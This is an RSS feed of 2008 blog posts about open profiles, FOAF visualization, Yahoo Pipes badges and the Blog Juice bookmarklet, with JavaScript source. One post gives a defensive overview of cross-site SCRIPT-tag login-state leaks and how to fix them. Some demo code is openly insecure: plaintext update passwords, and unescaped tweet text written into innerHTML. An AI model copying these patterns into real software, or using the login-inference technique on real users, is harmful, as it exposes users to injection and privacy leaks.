<p>If you're reading this, chances are pretty good you have an online profile.  Unless you're fantastically self-disciplined and all of your profile information is served by a single <a href="http://foaf-project.org">FOAF</a> object which lives on a server in your basement--in which case you're a virtual hermit--there are several branches of "you" out there already, all constantly trying to strangle each other in the endless quest for search rankings and mindshare.</p>
<h3>What I Want</h3>
<ul>
<li>To create, update, and share one (and only one!)  instance of my public profile information--including contacts, status, location, and so forth--and serve it up so anyone who asks can see it with a minimum of fuss.</li>
<li>To delegate the right to update certain branches of my profile to agencies that I trust, such as <a href="http://www.mybloglog.com/buzz/members/kentbrew/">MyBlogLog</a> or <a href="http://twitter.com/kentbrew">Twitter</a>.</li>
<li>To reserve administrative rights--including create, read, update, and delete--over the root of the profile.</li>
</ul>
<p>That last is most important.  For a while now I've been hearing about various "data portability" initiatives, most of which will only allow you to make a copy of some small subset of the current state of your profile.  Everything else--including historic transactions and top-secret personal information--remains online, per the terms of the TOS you ignored when you first joined up.</p>
<p>Remember, if you can't delete it, it's not portable.</p>
<h3>Narrowing the Scope</h3>
<p>Okay, so ... what do I want it to do that I can accomplish myself?  Simple stuff, mostly:</p>
<ul>
<li>I want interested people to be able to hit a single url, <code>http://foo.com/myid</code>, and get back a JSON object containing my complete profile.  If I add a callback to the url, <code>http://foo.com/myid/callback</code>, I want it to come back as JavaScript, properly wrapped for use with the <code>SCRIPT</code> tag hack.  (Oh, and no screwing around with arrays of callback functions and the like; please give me the callback <em>inside</em> the return, like <a href="http://pipes.yahoo.com">Pipes</a> does.)</li>
<li>When I'm signed in, I want to see my public profile in a textarea and make changes that instantly update the whole thing.  None of this hand-holding nonsense; I want the bare metal, please, and if I want to delete it, I want to delete it.</li>
<li>I also want a private object, consisting of nothing but key-value pairs.  Each key will exactly match the branch of my main object I want others to be able to edit; each value will be the password I expect them to submit to make changes.</li>
<li>When one of my outside agents--Fireeagle, for example--makes a <code>POST</code> to my profile, I want it to check for a key-value match in my private object.  If the agent knows the password, I want my profile to allow it to update the validated branch object.</li>
</ul>
<h3>A First Half-Blind Stab</h3>
<p>To pull this off, I needed something big, fast, powerful, and free.  Google's  <a href="http://appengine.google.com">Application Engine</a> was immediately interesting to me because of the single most impressive developer demo I've ever seen, Brett Slatkin's <a href="http://youtube.com/watch?v=bfgO-LXGpTM">Introducing Google App Engine</a>.    Everything Brett showed in the video looked completely doable, and when I tried it out, by golly, it was.  (I'm still looking at it, and cursing the fact that I can't copy and paste directly from the code in the video.  Boy, would that ever be cool.)</p>
<p>Thanks to <a href="http://stevesouders.com">Steve Souders</a>, late of Yahoo but recently moved to the big G, I've acquired early access.  As of this writing App Engine still in closed beta; keep an eye on <a href="http://googleappengine.blogspot.com/">their blog</a> for updates.</p>
<h3>Can we See the Source Code, Please?</h3>
<p>Nawp, sorry, not yet.  It's like this:  Open Profile is my first Python program, ever.  I can see dozens of places where it sucks, and I'm not even remotely qualified to tell if something written in Python sucks or not.  I'm in conversations right now with a Python expert; once I get it vetted I will credit him appropriately and open-source everything.</p>
<p>This thing would definitely work on a non-Google box, with the addition of user authentication plus minor mods to make it talk to MySQL, so if you wanted to put it on that server in the basement and own it completely, you could.</p>
<h3>View My Profile</h3>
<p>Here's my public profile on <code>http://exo.appspot.com/kentbrew/ping</code>:</p>
<iframe name="_obj" src="http://exo.appspot.com/kentbrew/ping" style="width:700px;"></iframe>
<p>The base URL is <code>http://exo.appspot.com/kentbrew</code>; the callback I've wrapped it in is <code>ping</code>.  If you omit the callback, you'll get a pure JSON object, which your browser may or may not be able to handle inline.</p>
<p>As you can see, I have two branch objects in my profile, <code>foo</code>, containing the last value you guys put in, and <code>status</code>, containing an array of objects that you theoretically can't monkey with.  Using my private object, which you don't see here, I've granted permission to edit object <code>foo</code>:</p>
<form method="post" action="http://exo.appspot.com" target="_update"/>
Owner: <input name="owner" value="kentbrew" /> Object: <input name="object" value="foo" /> Password: <input name="password" value="bar" /><br />
New Value: <br /><textarea name="newValue" rows="10" cols="50"></textarea><br />
Confused?  Try <code>"boing"</code>, <code>{"clank":"ding"}</code>, or <code>{"testing":[1, 2, 3]}</code> to start.<br />
<input type="submit" onclick="document.getElementById('_update').style.display = 'block';"/> <a href="http://exo.appspot.com/kentbrew/ping" target="_obj">Reload</a> my public profile to see your changes.
</form>
<iframe id="_update" name="_update" style="width:700px; height:3em; display:none;"></iframe>
<h3>Things to Do and Notice</h3>
<ul>
<li>Enter some valid JSON for the contents of the object you want to update.  Be sure to quote your strings and bracket your objects and arrays.</li>
<li>You'll see an intentionally sparse success-or-failure  message go by when you submit this.  We don't want to give the bad guys any hints about what they might be doing wrong.</li>
<li>If you see the Success message, use the <code>Reload</code> link to see your changes serve up.</li>
<li>This should work for anyone, signed in to Google or not, because I've given you my root object name, my branch object name, and its password.</li>
<li>There's no callback option for the update function, since it's only supposed to be POSTed.</li>
<li>You should not be able to monkey around with my <code>status</code> object, since you don't know the password.</li>
<li>If you head over to <a href="http://exo.appspot.com">exo.appspot.com</a> and create your own object with an open branch, you ought to be able to update it from here.</li>
<li>Right, updates are not even <em>remotely</em> secure.  This could be mitigated somewhat with https ... but please don't use this form for anything mission-critical.</li>
</ul>
<h3>Directions for Future Development</h3>
<ul>
<li>I can see an approach like this lending itself quite nicely to decentralized social networking.  If I have a list of contacts and they each have their own open profiles and they all point back to me in a <code>contacts</code> array, we can deduce the same sorts of relationships we find in FOAF or XFN.</li>
<li>Unlike FOAF or XFN, delegated update rights are built in.  Any service that cares could ask me to put up a branch object and give them a password.</li>
<li>Next up, I'm going to see if I can hook up Twitter and get some real status updates in there.</li>
</ul>
<h3>How It Feels So Far</h3>
<p>Even though it's in an embryonic stage and nobody at all is paying attention, I like it.</p>
<p>I'm creating data.  I'm authorizing access.  I'm giving out passwords to <em>my</em> agents, not begging them from big faceless companies.  Unlike all those other Web profiles, which could change or vanish at the whim of their hosting companies, this one feels powerful, like I own the thing, instead of it owning me.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/creating-open-profiles</feedburner:origLink></item>
	<item>
		<title>Mashable FOAF</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/Q8zj2IUO5T8/foafster</link>
		<guid isPermaLink="false">http://kentbrewster.com/foafster</guid>
		<comments>http://kentbrewster.com/foafster</comments>
		<pubDate>Wed, 02 Apr 2008 16:07:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 

<iframe style="border:2px solid #000;overflow:hidden;margin-top:5px;" height="700" width="700" src="http://kentbrewster.com/foafster/foafster.html?<?php echo $q; ?>"></iframe>
<h3>What's This?</h3>
<p>FOAFster is a prototype visualizer for <a href="http://www.foaf-project.org/">Friend Of A Friend</a> relationship objects.  What you're seeing here are icons for a bunch of FOAF contacts, scattered around the screen, and network services, in a much neater line at the top.</p>
<h3>About FOAF</h3>
<p>I've been interested in FOAF for a long time.  Abstracting out all my social relationships into a separate layer, just as I do with my presentation and behavior layers, really resonates.  Future possibilities like being able to point marketers at my FOAF object so they will quit wasting their time trying to sell me timeshares seems like a very real possibility.</p>
<p>The problem?  As it sits right now, FOAF is a giant pain to update.  Most folks fire it once and forget it; the results range from amusing to disastrous.</p>
<p>What changed today?  <a href="http://mybloglogb.typepad.com/my_weblog/">MyBlogLog rolled out FOAF</a>.  And now, finally, I don't have to worry about keeping a file on my Web site.  All I need to do is add people and services to my network on MyBlogLog, and it's taken care of for me.  Here's my FOAF object, courtesy of MyBlogLog:</p>
<p><code><a href="http://www.mybloglog.com/buzz/members/kentbrew/foaf/" target="_blank">http://www.mybloglog.com/buzz/members/kentbrew/foaf/</a></code></p>
<h3>Why MyBlogLog's FOAF Is Superior</h3>
<p>All this is generated and re-generated for me, whenever I add a service or a contact, and whenever any of those contacts add a service of their own.  So now all I need to do is link it in the HEAD of my document, like so:</p>
<p><code>&lt;link rel="meta" type="application/rdf+xml" title="FOAF" href="http://www.mybloglog.com/buzz/members/kentbrew/foaf/" /&gt;</code></p>
<p>Although other services like LiveJournal and FriendFeed are doing this, MyBlogLog's FOAF is superior.  LiveJournal only points inwards; FriendFeed does not contain your contacts' network connections.  And nobody else in the world is presenting FOAF as a JSON object wrapped in the callback of your choice, if you ask nicely, using <code>format=json&callback=foo</code>.  Although it's possible to run anybody's FOAF object through <a href="http://pipes.yahoo.com">Pipes</a> and get JSON back, MyBlogLog cuts out the middleman by being brave enough to serve it all up live.</p>
<h3>Want to Play?</h3>
<p>It's trivially easy, which is how it ought to be.  Go sign up at <a href="http://mybloglog.com" target="_blank">MyBlogLog</a>, add some services and/or contacts, and your FOAF should be ready to rock, at <code>http://www.mybloglog.com/buzz/members/yourname/foaf/</code>.</p>
<h3>Things to Do and Notice</h3>
<ul>
<li>Click any of the service icons to see what the user in the background is doing over there.  (These use the same Pipes I wrote for <a href="http://kentbrewster.com/blogjuice">Blog Juice</a>, if you're interested.)</li>
<li>Click any of the contact faces to go see what they're up to.  They will always show up in the same spot for each starting profile.</li>
<li>If you need to go back--yes, there are dead ends out there; you'll be alerted if you hit one--click one of the faces in the row of breadcrumbs at the bottom right.</li>
<li>If you'd like to try it out starting from a different ID, enter it at the end of this page's URL, like so:<br /><code><a href="http://kentbrewster.com/foafster?q=johnsampson">http://kentbrewster.com/foafster?q=johnsampson</a></code></li>
</ul>
<h3>Caveats and Gotchas</h3>
<ul>
<li>Some people--Scott Beale, for one--have incomplete information about their Flickr profiles on MyBlogLog. You guys need to go update before you'll see your Flickr photos.</li>
<li>There's a lot going on; the first time you try a FOAF object that hasn't been generated yet it may go slowly, depending on network latency and caching and such.  I'm sneakily changing out the background and the person's name right when you click; you'll see the usual square twirligig while the FOAF query is running.</li>
<li>I've set an arbitrary limit of 400 contact icons, but the whole FOAF object still comes down from MyBlogLog, so it can take a while.  Sometimes--*koff*<a href="http://kentbrewster.com/foafster?q=rafer">Rafer</a>*koff*--a long while.</li>
<li>It's semi-broken on IE, and twitchy on Opera.  This is all my fault, not that of the API; working on it now.</li>
</ul>
<h3>Directions for Future Development</h3>
<ul>
<li>User should be able to click a face from the MyBlogLog reader roll, or automatically start with the signed-in MyBlogLog user.</li>
<li>User should be able to drag and drop those faces, and save their locations as a cookie or to a central server.  Face locations should be consistent no matter who the starting account is.</li>
<li>Individual icons should scurry into and out of the middle when you mouse over a service icon that they have; it ought to look like the Stanford marching band.</li>
</ul>
<p>I'll have the code up once I fix up the IE bugs; for now, adventurous developers should know how to read source, copy, and paste.  Have fun, and please let me know how it goes.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/foafster</feedburner:origLink></item>
	<item>
		<title>Pipe Badges</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/NhCfeGdY-6s/pipe-badges</link>
		<guid isPermaLink="false">http://kentbrewster.com/pipe-badges</guid>
		<comments>http://kentbrewster.com/pipe-badges</comments>
		<pubDate>Mon, 24 Mar 2008 20:46:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>About a year ago, I had the enormous good fortune to sit just over the cubicle wall from the <a href="http://pipes.yahoo.com">Yahoo! Pipes</a> team during their launch.  During that time I was lucky enough to overhear talk about a couple of as-yet-undocumented features, the <code>_render=json</code> and <code>_callback=foo</code> parameters.  These two features allowed me to use Pipes to turn any RSS feed into a JSON object wrapped in the callback of my choice, and to launch the <a href="http://kentbrewster.com/badger">Badger</a>, a crude-but-effective wizard-in-a-Web-page that allowed anyone to do the same.</p>
<p>During the intervening months I've had a chance to give Pipes a workout.  Examples range from the simple Badger application to <a href="http;//kentbrewster.com/blogjuice">rolling a complete API layer</a> to cover a multitude of different sites and endpoints.</p>
<p>This morning, the Pipes team launched a new feature, <a href="http://blog.pipes.yahoo.com/2008/03/24/introducing-pipe-badges/">Pipe Badges</a>.  Using several of the ideas collected in <a href="http://kentbrewster.com/case-hardened-javascript">Case-Hardened JavaScript</a>, Pipe Badges allow the site operator to include a single line of JavaScript, hosted by Pipes, and see one of three handy badges--list, image, or map view--pop up instantly.</p>
<p>If I'm not mistaken, this:</p>
<pre>&lt;script src="http://pipes.yahoo.com/js/mapbadge.js">{
   "pipe_id":"WlLkGRj63BGEG7TKiHrL0A",
   "_btype":"map",
   "pipe_params":{
      "q":"pizza",
      "g":"95051"
   }
}&lt;/script></pre>
<p style="margin-top:10px">... is just about the single easiest way to search for something near something, and display the results as a map on your site. Here we're searching for pizza near 95051; parameters <code>q</code> and <code>g</code> can be changed to anything you like.</p>
<script src="http://pipes.yahoo.com/js/mapbadge.js">{"pipe_id":"WlLkGRj63BGEG7TKiHrL0A","_btype":"map","pipe_params":{"q":"pizza","g":"95051"}}</script>
<p>Pipe Badges are the result of many months of coding by the Pipes team, including Jonathan Trevor and Paul Donnelly.  Awesome work, you guys; keep it up!</p>


 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/pipe-badges</feedburner:origLink></item>
	<item>
		<title>Patching Privacy Leaks</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/k3knjYNJG0A/patching-privacy-leaks</link>
		<guid isPermaLink="false">http://kentbrewster.com/patching-privacy-leaks</guid>
		<comments>http://kentbrewster.com/patching-privacy-leaks</comments>
		<pubDate>Sat, 08 Mar 2008 10:33:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>Over the past few months I've published articles documenting an extremely trivial weakness that allows any third-party operator to determine if its users are signed in to several well-known Web services.  This is pretty clearly information that ought not to be shared; even if it's not explicitly stated in the service's terms of service, it's expected by the public.</p>
<p>As a result of several eye-opening conversations I've had while at SxSW this year, I've taken down all of the articles detailing live exploits.  As trivial as they are, I should not have disclosed any specific vulnerabilities without warning the service operators first, and I want to strongly discourage anyone from following my example, which was the wrong thing to do.</p>
<p>I will, however, present an overview of the methods I used, and the lessons I learned during the process.</p>
<h3>Principles:</h3>
<ul>
<li>Any file on your site, whether or not it is actually JavaScript, can be included with a SCRIPT tag by a third party.</li>
<li>If the contents of that file vary sufficiently depending on the user's cookies--which almost always contain his or her login status--a third-party site can infer information which should be private, beginning with the user's login status and potentially including much more.</li>
</ul>
<h3>Detecting Vulnerabilities in Your Service:</h3>
<p>Before you push a new feature to your AJAX-powered site, please run through the following steps:</p>
<ul>
<li>Get Firefox and Firebug, and sign in to your service.</li>
<li>Go to any page that has an AJAX-powered interaction that should only be usable if the user is signed in.  This could be a message post, a profile update, a mailbox read, a social network connection update ... we're looking for anything that affects the content of the page without reloading it that should only be visible if the user is logged in.</li>
<li>Once you've found it, run it.</li>
<li>Open up Firebug, go to the Net tab, and find the interaction.</li>
<li>Open the interaction's URL in a separate browser tab.</li>
<li>Go back to the original tab and sign out of your site.</li>
<li>Open a new tab, and paste in the interaction's URL again.</li>
</ul>
<h3>Analysis</h3>
<p>View the source code of both states, and answer these two questions:</p>
<ul>
<li>Does either state contain executable JavaScript?</li>
<li>If not, when both states are loaded as SCRIPT tags, do they throw different errors?</li>
</ul>
<p>If the answer to either question is Yes, your users' login state can be guessed by a tiny scrap of JavaScript, running only in the client.</p>
<h3>Some Suggestions</h3>
<ul>
<li>Don't serve live JavaScript.  It's trivially easy to exploit.</li>
<li>Make sure your error messages come down in the same format, whether or not the user is logged in.  If an URL returns XML when the user is logged in but redirects to the login page when he's not, you're vulnerable, because they throw different errors when included as SCRIPT tags.</li>
<li>If you're offering an API, be sure that your endpoints throw the same errors whether or not the user is logged in.  Are you offering a JSON object wrapped in a callback to authenticated users and a redirect to your login page to others?  One throws an error and the other does not.</li>
<li>Don't serve up hcards or vcards to signed-in users and HTML errors to outsiders.  While neither is valid JavaScript, they throw different errors when included as SCRIPT tags.</li>
<li>Test all the URLs on your site that are supposed to be POSTed and be absolutely certain they return the same error whether or not the user is logged in, in the event some clever fellow tries a GET.</li>
<li>Keep an eye on your referrer and error logs.  Are your AJAX endpoints starting to throw a lot of those please-go-log-in errors?  Are they being linked from sites that have no business peeking or poking at them?  Somebody may have already found a hole in your site.</li>
<li>Have a clearly marked path for reporting security holes, listen, and be extremely responsive!</li>
</ul>
<h3>Please Note</h3>
<p>This isn't meant to be a definitive list, just cautionary squawking about a very common vulnerability.  Please be careful; your users are depending on you.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/patching-privacy-leaks</feedburner:origLink></item>
	<item>
		<title>Blog Juice</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/JxNq7xkoza4/blogjuice</link>
		<guid isPermaLink="false">http://kentbrewster.com/blogjuice</guid>
		<comments>http://kentbrewster.com/blogjuice</comments>
		<pubDate>Tue, 12 Feb 2008 16:52:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>Here's a toolbar bookmarklet that looks for a MyBlogLog identifier on the page you're on, and uses the MyBlogLog API to dig out information about its reader roll:</p>
<h3><a href="javascript:void(d=document);void(b=d.getElementsByTagName('body')[0]);void((s=d.createElement('script')).setAttribute('src','http://kentbrewster.com/bj.js'));void(b.appendChild(s));">Blog Juice</a></h3>
<p>You can try it here, or drag it to your bookmarks toolbar and run it anywhere else on the Web.  (On IE, right-click, add to favorites, say Yes to continue past scary warning, and choose Links.  You may then need to fiddle around with your Tools drop-down in order to get Links to show in your chrome.)</p>
<h3>Things to Do and Notice</h3>
<ul>
<li>Each reader comes up in a toggle-able list item.  You'll see a MyBlogLog avatar, a name, and possibly some tags.  Click the name to visit the MyBlogLog profile; click the tag to see a list of other users with that tag.</li>
<li>Click anywhere else in the reader record to open it up and see details from ten different social networks.  At the moment, they are:  MyBlogLog, Twitter, Upcoming, Digg, LinkedIn, Delicious, Flickr, Last.fm, StumbleUpon, and YouTube.</li>
<li>Inside the detail you'll be able to click the item to go over to the other site and view it.</li>
<li>Up top are a series of icons that match the detail icons for each service.  Mouse over them to only show reader roll items.</li>
<li>The MyBlogLog icon (first on the left at the top) will show the user's authored blogs.  Click the image to open its reader roll up, right there in the badge without leaving the page you're on.  Click the text link to visit the blog.</li>
<li>Each user has a checkbox.  If you check it, the user will be added to your Stalk List, and a small icon resembling a guy cradling a loaf of French bread will show up at the bottom of the badge.  Click the French Bread Guy to see all your buddies.</li>
<li>As of the latest version, the widget comes up in an iframe.  This works seamlessly in all browsers except IE.  We're using an iframe because the CSS is much easier to construct, and when you bookmark a user for your Stalk List, the cookie will be set to my domain, not the domain you're on, so it will be available no matter where you go on the Web.</li>
</ul>
<h3>Rolling Our Own API with Pipes</h3>
<p>Astute readers will immediately recognize that some of the services we're querying don't actually have APIs, and those that do have vastly differing endpoints.  To cut down on the amount of scripting required to send and receive data, I've rolled my own APIs for each of them, using Pipes.</p>
<ul>
<li><a href="http://pipes.yahoo.com/kentbrew/blogjuice_delicious" target="_blank">http://pipes.yahoo.com/kentbrew/blogjuice_delicious</a></li>
<li><a href="http://pipes.yahoo.com/kentbrew/blogjuice_digg" target="_blank">http://pipes.yahoo.com/kentbrew/blogjuice_digg</a></li>
<li><a href="http://pipes.yahoo.com/kentbrew/blogjuice_flickr" target="_blank">http://pipes.yahoo.com/kentbrew/blogjuice_flickr</a></li>
<li><a href="http://pipes.yahoo.com/kentbrew/blogjuice_lastfm" target="_blank">http://pipes.yahoo.com/kentbrew/blogjuice_lastfm</a></li>
<li><a href="http://pipes.yahoo.com/kentbrew/blogjuice_linkedin" target="_blank">http://pipes.yahoo.com/kentbrew/blogjuice_linkedin</a></li>
<li><a href="http://pipes.yahoo.com/kentbrew/blogjuice_stumbleupon" target="_blank">http://pipes.yahoo.com/kentbrew/blogjuice_stumbleupon</a></li>
<li><a href="http://pipes.yahoo.com/kentbrew/blogjuice_twitter" target="_blank">http://pipes.yahoo.com/kentbrew/blogjuice_twitter</a></li>
<li><a href="http://pipes.yahoo.com/kentbrew/blogjuice_upcoming" target="_blank">http://pipes.yahoo.com/kentbrew/blogjuice_upcoming</a></li>
<li><a href="http://pipes.yahoo.com/kentbrew/blogjuice_youtube" target="_blank">http://pipes.yahoo.com/kentbrew/blogjuice_youtube</a></li>
<li><a href="http://pipes.yahoo.com/kentbrew/blogjuice_tumblr" target="_blank">http://pipes.yahoo.com/kentbrew/blogjuice_tumblr</a></li>
</ul>
<p>Each takes an <code>S</code> parameter, the user id, and an optional <code>N</code> parameter, the number of items you want back from each endpoint, which defaults to 3.  Output from all of these pipes looks substantially like this:</p>
<pre>"items":[
   {
      "u":"http:\/\/twitter.com\/jlam\/statuses\/717107112",
      "t":"jlam: Would anyone like to catch http:\/\/tinyurl.com\/3xz6kc tonite?"
   },
   {
      "u":"http:\/\/twitter.com\/jlam\/statuses\/717097392",
      "t":"jlam: @dearlazyweb a 713733562 Ben, John http:\/\/ejohn.org is writing one now. Meanwhile, see http:\/\/jQuery.com and http:\/\/learningJQuery.com"
   },
   {
      "u":"http:\/\/twitter.com\/jlam\/statuses\/705479382",
      "t":"jlam: Indeed @Coley Hong Kong has unbelievably awesome public transportation! The subway costs $0.10\/mile but profitable, and did an IPO in 2000."
   }
]</pre>
<p>If there's a thumbnail in the API, it shows up in the <code>n</code> object.  Using Pipes eases the strain on these outside sites and provides a consistent output stream from many different sources, so a single subroutine can render all the many different results.</p>
<pre>getActivity : function(mbl, api, nick, id) {
   var callback = trueName + '_' + mbl + '_' + api + '_' + nick + '_' + id.replace(/@/, '');
   window[callback] = function(z) {
      var t = callback.split('_');
      var mbl = t[1];
      var api = t[2];
      var nick = t[3];
      var id = t[4];
      if (t.length > 4) {
         var n = t.length - 1;
         for (var i = 5; i &lt; n; i++) {
            nick += '_' + t[i];
         }
         id = t[n];
      }
      if (z && z.value && z.value.items) {
         var r = z.value.items;
         for (var i = 0; i &lt; r.length; i++) {
            var li = document.createElement('LI');
            li.className = api;
            var img = document.createElement('IMG');
            img.src = 'http://l.yimg.com/us.yimg.com/i/us/mbl/services/i' + api + '.png';
            img.align = 'absmiddle';
            li.appendChild(img);
            var tx = r[i].t;
            if (api == 'twitter') {
               var tx = tx.replace(/http:\/\/([^\s,-]*)/gi, '&lt;a href="http://$1" target="_blank">http://$1&lt;/a>').replace(/@([^\s,.!-]*)/gi, '@&lt;a href="http://twitter.com/$1" target="_blank">$1&lt;/a>');
               r[i].u = '';
            }
            if (r[i].u) {
               var a = document.createElement('A');
               a.href = r[i].u;
               a.target = '_blank';
               if (r[i].n) {
                  var img = document.createElement('IMG');
                  img.className = 'v';
                  if (api == 'flickr') {
                     img.className = 'q';
                  }
                  img.align = 'absmiddle';
                  img.src = r[i].n;
                  a.appendChild(img);
                  li.appendChild(a);
                  var a = document.createElement('A');
                  a.target = '_blank';
                  a.href = r[i].u;
               }
            } else {
               var a = document.createElement('SPAN');
            }
            a.innerHTML = tx;
            li.appendChild(a);
            $.s.c.bd[mbl].appendChild(li);
         }
      }
      $.f.addServiceIcon(mbl, api);
      $.f.removeScript(callback);
   };
   if (id) {
      nick = id;
   }
   var url = 'http://pipes.yahoo.com/kentbrew/blogjuice_' + api + '?_render=json&_callback=' + callback + '&s=' + nick;
   $.f.runScript(url, callback);
}</pre>
<p>This function is almost entirely generic; only a couple of exceptions (to remove the @ from Flickr ids, apply a special class name to Flickr thumbnails, and hotlink URLs in Twitter tweets) come into play.  Feel free to clone or use my Pipes for your projects; they're all published and available.</p>
<p>We're using some techniques from <a href="http://kentbrewster.com/case-hardened-javascript">Case-Hardened JavaScript</a> here, most notably the practice of creating a single anonymous variable and a private global to hang all the code from; references to <code>$.f</code> and <code>$.s</code> refer to functions and structure.</p>
<p>When we create our dynamic script tags, we're naming them with <code>window[callback]</code> and passing information about what their user IDs, service nicknames, and API endpoints are inside the callback name.  This allows us to remove each dynamically-generated script tag from the inside, once it's run.</p>

<h3>Filtering URLs in Tweets</h3>
<p>To filter API output <code>tx</code>, we double down on our regular expressions.  The first looks for <code>http://</code>; the second looks for an <code>@</code>:</p>
<pre class="code">
var tweet = tx.replace(/http:\/\/([^\s,-]*)/gi, '&lt;a href="http://$1" target="_blank">http://$1&lt;/a>').replace(/@([^\s,.!-]*)/gi, '@&lt;a href="http://twitter.com/$1" target="_blank">$1&lt;/a>');
</pre>
<h3>Caveats and Gotchas</h3>
<ul>
<li>Firefox, IE7, Opera, and Safari all work ... but the iframe is giving me trouble on IE.  It's ugly.</li>
<li>If it hangs forever, something's busted in one of ten or eleven API endpoints we're banging on.  Suggestions?  Clear your cache; I might be monkeying with the script.  If all else fails, bring up Firebug to track this down.</li>
<li>We're leaning heavily on several different APIs here, so this thing is almost guaranteed to be flaky. Sorry about that; for best results, please be patient, wait for the page to load before trying to juice it, and keep an eye on your status bar.</li>
</ul>
<h3>Directions for Future Development</h3>
<ul>
<li>Right, it would be great to have some indication of when it was done, and when it was stuck on something.  Working on it!</li>
</ul>
<h3>Thank You:</h3>
<p>Adam Platti, Andrew Wooldrige, Aramys Miranda, Ash Patel, Ava Hristova, Bill Scott, Bob Zoller, Bradley Horowitz, Cameron Marlowe, Chad Dickerson, Chanel Wheeler, Chip Morningstar, Chris Goffinet, Christian Heileman, Dan Theurer, Dav Glass, Dave Balmer, David Filo, David Flanagan, Doug Crockford, Dustin Diaz, Ed Ho, Eric Marcoullier, Eric Wu, Ernie Hsiung, Gina Groom, Havi Hoffman, Hedger Wang, Ian Kennedy, Ian Lamb, Isaac Schleuter, JR Conlin, Jason Schupp, Jean-Paul Cozzatti, Jenny Han, Jeremy Gillick, Jeremy Zawodny, Jimmy Byrum, John Greene, Jonathan Trevor, Julian Lecomte, Kevin Brown, Lauri Voss, Leslie Sommer, Luke Wroblewski, Matt McAlister, Matt Sweeney, Micah Laaker, Mike Lee, Nate Koechley, Nathan Arnold, Nicholas Zakas, Norm Francis, PPK, Paul Hammond, Randy Farmer, Scott Schiller, Sean Michael Imler, Steve Souders, Steven Wheeler, Tenni Theurer, Thomas Sha, Tim O'Reilly, Todd Klootz, Todd Sampson, Tom Coates, and (most of all!) Vickie Brewster.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/blogjuice</feedburner:origLink></item>
</channel>
</rss>
